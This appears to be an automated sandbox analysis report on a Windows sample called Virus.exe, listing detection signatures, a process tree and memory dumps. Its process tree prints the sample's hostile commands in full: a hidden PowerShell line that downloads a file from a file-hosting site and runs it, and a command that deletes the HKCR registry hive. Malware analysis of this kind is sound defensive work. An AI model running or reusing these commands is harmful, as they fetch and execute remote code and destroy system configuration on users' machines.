Analysis

  • user interaction
    yes
  • max time kernel
    42s
  • max time network
    132s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20260130-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20260130-enlocale:en-usos:windows10-2004-x64systemwindows
  • submitted
    16/04/2026, 08:28

General

  • Target
    Virus.exe
  • Size 35KB
  • Sample260416-kdbbvsbs5r
  • SHA256 60cadb1c80cff53f1e9b6208f1fb668af3ef959dc8f1703c164c32e40ed89e23
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Badlisted process makes network request 1 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Event Triggered Execution: Component Object Model Hijacking 1 TTPs

    Adversaries may establish persistence by executing malicious content triggered by hijacked references to Component Object Model (COM) objects.

  • Modifies system executable filetype association 2 TTPs 49 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Modifies registry class 64 IoCs
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 3 IoCs
  • Suspicious use of WriteProcessMemory 3 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

  • Uses Volume Shadow Copy WMI provider

    The Volume Shadow Copy service is used to manage backups/snapshots.

  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

Processes

  • C:\Users\Admin\AppData\Local\Temp\Virus.exe
    "C:\Users\Admin\AppData\Local\Temp\Virus.exe"
    1⤵
    • Checks computer location settings
    • Modifies system executable filetype association
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:3588
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell.exe" -NoP -EP Bypass -W Hidden -C "iwr 'https://files.catbox.moe/ab4icn.rar' -OutFile $env:TEMP\file.com; Start-Process -WindowStyle Hidden $env:TEMP\file.com"
      2⤵
      • Badlisted process makes network request
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:4840
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /k reg delete HKCR /f
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:4516
      • C:\Windows\system32\reg.exe
        reg delete HKCR /f
        3⤵
        • Modifies system executable filetype association
        • Modifies registry class
        PID:1332
  • C:\Windows\system32\AUDIODG.EXE
    C:\Windows\system32\AUDIODG.EXE 0x3e4 0x2f4
    1⤵
      PID:3080

    Network

          MITRE ATT&CK Enterprise v16

          Replay Monitor

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          Downloads

          __PSScriptPolicyTest_lelhnqb0.14v.ps1

          • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_lelhnqb0.14v.ps1
          • Size 60B
          • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
          • MD5 SHA1 SHA512 TLSH

          memory/3588-0-0x0000000000540000-0x0000000000550000-memory.dmp

          memory/3588-1-0x00000000025A0000-0x00000000025B0000-memory.dmp

          memory/3588-15-0x00000000025A0000-0x00000000025B0000-memory.dmp

          memory/4840-6-0x000002B8EAC60000-0x000002B8EAC70000-memory.dmp

          memory/4840-5-0x000002B8EAC60000-0x000002B8EAC70000-memory.dmp

          memory/4840-7-0x000002B8EAC30000-0x000002B8EAC52000-memory.dmp

          memory/4840-17-0x000002B8EAC60000-0x000002B8EAC70000-memory.dmp

          memory/4840-16-0x000002B8E8D10000-0x000002B8E8D65000-memory.dmp

          memory/4840-19-0x000002B8EAC60000-0x000002B8EAC70000-memory.dmp

          memory/4840-20-0x000002B8EAC60000-0x000002B8EAC70000-memory.dmp

          memory/4840-23-0x000002B8E8D10000-0x000002B8E8D65000-memory.dmp